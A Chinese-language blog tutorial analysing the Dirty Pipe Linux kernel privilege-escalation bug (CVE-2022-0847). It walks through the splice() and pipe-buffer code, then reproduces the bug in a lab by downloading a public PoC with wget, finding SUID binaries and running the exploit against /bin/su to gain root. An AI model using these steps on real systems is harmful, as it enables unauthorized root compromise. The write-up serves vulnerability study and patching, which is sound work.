前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。
一、漏洞原理
漏洞简述
本次研究漏洞为 CVE-2022-0847,该漏洞是由于其允许覆盖任意只读文件中的数据,非特权进程可以将代码注入根进程导致权限提升。
该漏洞类似于CVE-2016-5195"Dirty Cow",但更容易利用。
此漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。
漏洞分析
漏洞起源
起源是在损坏文件支持票据研究中发现该漏洞。
通过比对正常文件与损坏文件的差异发现内核层面的问题。
以CM4all托管环境下日志服务器中一个日常文件为例
正常文件结尾情况:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 9c 12 0b f5 f7 4a 00 00
相同文件但已损坏:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 50 4b 01 02 1e 03 14 00
可以看到核心在后面8个字节。
50 4b 01 02 1e 03 14 00
其中50 4b为"P"和"K"的ASCII。"PK",为所有ZIP标头的开始方式。
01 02是中央目录文件头的代码。
1e 03 14 00 为
“Version made by” = ; = 30 (3.0); = UNIX 1e 03 0x1e0x03
“Version needed to extract” = ; = 20 (2.0) 14 00 0x0014
首先缺少其余部分,头部在8个字节后截断。
直到进行代码审计,根据Web服务的逻辑,排查到splice()write()50 4b 01 02 1e 03 14 00为问题核心。
之后根据C程序破解分析到:
一个不断将字符串"AAAAA"的奇数块写入文件(模拟日志拆分器):
#include <unistd.h>
int main(int argc, char **argv) {
for (;;) write(1, "AAAAA", 5);
}
// ./writer >foo
以及一个不断将数据从该文件传输到管道,然后将字符串"BBBBB"写入管道(模拟ZIP生成器):):splice()
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char **argv) {
for (;;) {
splice(0, 0, 1, 0, 2, 0);
write(1, "BBBBB", 5);
}
}
// ./splicer <foo |cat >/dev/null
将这两个程序复制到日志服务器,没有人将此字符串写入文件(仅由没有写入权限的进程写入管道)的情况下,仍然字符串"BBBBB"开始出现在文件中。
总的来说,该漏洞体现于重新构造管道缓冲区代码进行匿名化,改变了管道的可合并检查方式。
splice 系统调用 详尽分析
splice() 系统调用避免在内核地址空间与用户地址空间的拷贝,从而快速地在两个文件描述符之间传递数据。函数原型为:
#define _GNU_SOURCE
#include <fcntl.h>
ssize_t splice(int fd_in, off64_t *off_in, int fd_out, off64_t *off_out, size_t len, unsigned int flags);
此次漏洞使用的情况是从文件向管道传递数据,因此 fd_in 指代一个普通文件,off_in 表示从指定的文件偏移处开始读取,fd_out 指代一个 pipe,len 表示要传输的数据长度,flags 表示标志位。详细情况可以参考手册。
看看 splice() 系统调用的主要流程。系统调用的定义在 fs/splice.c 文件中,主要工作由 __do_splice() 函数完成。
__do_splice() 在做完简单的参数检查之后,又调用 do_splice() 函数实现主要工作。
do_splice() 中,会根据两个文件描述符的类型进入不同的分支。当前情况下,fd_out 指代一个 pipe,因此会进入 if (opipe) 这个分支。主要工作通过 do_splice_to() 函数完成。
/*
* Determine where to splice to/from.
*/
long do_splice(struct file *in, loff_t *off_in, struct file *out,
loff_t *off_out, size_t len, unsigned int flags)
{
struct pipe_inode_info *ipipe;
struct pipe_inode_info *opipe;
loff_t offset;
long ret;
// 判断两个文件描述符的打开模式是否符合条件
if (unlikely(!(in->f_mode & FMODE_READ) ||
!(out->f_mode & FMODE_WRITE)))
return -EBADF;
ipipe = get_pipe_info(in, true);
opipe = get_pipe_info(out, true);
// 当 in 和 out 都是 pipe 的情况
if (ipipe && opipe) {
if (off_in || off_out)
return -ESPIPE;
/* Splicing to self would be fun, but... */
if (ipipe == opipe)
return -EINVAL;
if ((in->f_flags | out->f_flags) & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
return splice_pipe_to_pipe(ipipe, opipe, len, flags);
}
// 当 in 是 pipe 的情况
if (ipipe) {
......
}
// 当 out 是 pipe 的情况
if (opipe) {
// 不能为 pipe 设置偏移量
if (off_out)
return -ESPIPE;
if (off_in) {
if (!(in->f_mode & FMODE_PREAD))
return -EINVAL;
offset = *off_in;
} else {
offset = in->f_pos;
}
if (out->f_flags & O_NONBLOCK)
flags |= SPLICE_F_NONBLOCK;
// 获取 pipe 的锁
pipe_lock(opipe);
// 等待 pipe 有可使用的缓冲区
ret = wait_for_space(opipe, flags);
if (!ret) {
unsigned int p_space;
// 计算能够读取的文件长度,不应该超过 pipe 剩余的缓冲区大小
/* Don't try to read more the pipe has space for. */
p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);
len = min_t(size_t, len, p_space << PAGE_SHIFT);
// 调用 do_splice_to() 实现主要工作
ret = do_splice_to(in, &offset, opipe, len, flags);
}
// 释放 pipe 的锁
pipe_unlock(opipe);
if (ret > 0)
// 唤醒 pipe 的读者等待队列中的进程
wakeup_pipe_readers(opipe);
if (!off_in)
in->f_pos = offset;
else
*off_in = offset;
return ret;
}
return -EINVAL;
}
do_splice_to()
在 do_splice_to() 中,主要功能是通过输入文件的 splice_read() 方法实现的。这里以 ext4 文件系统为例,在 fs/ext4/file.c 文件中查看 ext4_file_operations 变量可知,ext4 文件系统中,splice_read 使用的是定义在 fs/splice.c 中的 generic_file_splice_read() 方法。接着通过调试可知接下来的函数调用链:
generic_file_splice_read() -> call_read_iter() -> generic_file_buffered_read() -> copy_page_to_iter() -> copy_page_to_iter_pipe()
call_read_iter() 是一个定义在 include/linux/fs.h 中的内联函数,实际调用的是输入文件的 read_iter() 方法。而 ext4 文件系统的 read_iter() 方法是 ext4_file_read_iter()。在当前情况下,会调用 generic_file_rad_iter(),其接着调用 generic_file_buffered_read()。
copy_page_to_iter_pipe()
generic_file_buffered_read() 是通用的文件读取例程,将文件读取到 page cache 后会通过 copy_page_to_iter() 函数将文件对应的 page cache 与 pipe 的缓冲区关联起来。实际的关联操作通过定义在 /lib/iov_iter.c 中的 copy_page_to_iter_pipe() 实现:
/*
* page 是文件对应的内存页帧,pipe 实例被包裹在 struct iov_iter 实例中
*/
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];
if (off) {
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
buf->ops = &page_cache_pipe_buf_ops;
// 增加 page 实例的引用计数
get_page(page);
// 将 pipe 缓冲区的 page 指针指向文件的 page
buf->page = page;
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
二、漏洞复现实战
漏洞检测
受漏洞影响Linux版本范围为 5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102。
可以通过uname -r命令查看版本信息,判断是否可利用。
图1 漏洞检测
环境搭建
该漏洞需要以下环境:
Ubuntu 16.04 或 18.04
Python >= 3.6
pip3
确保具备之后,我们通过云原生攻防靶场Metarget部署漏洞环境
命令如下:
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
sudo ./metarget cnv install cve-2022-0847
搭建好之后再用uname -r命令查看当前系统内核
如果符合版本范围,即可能受该漏洞影响
漏洞复现
我们采用Haxxin师傅的POC(dirtypipez.c)进行复现
首先部署POC,通过以下命令
mkdir dirtypipez
cd dirtypipez
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
图2 部署POC
由于该POC需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权。
我们先寻找该类文件,命令如下:
find / -perm -u=s -type f 2>/dev/null
图3 寻找SUID文件
以 /bin/su 为例,使用./dirtypipez加上具有 SUID 权限的文件,进行提权
./dirtypipez /bin/su
图4 提权利用
可以看到提权成功,由普通用户权限至root权限。
漏洞修复
目前暂无补丁,更新升级 Linux 内核到以下安全版本
Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102
结束语
本文主要介绍了CVE-2022-0847漏洞 DirtyPipe Linux 内核提权漏洞的原理分析及复现过程,漏洞主要利用重新构造管道缓冲区代码进行匿名化,最终其允许覆盖任意只读文件中的数据,非特权进程可以将代码注入根进程导致权限提升。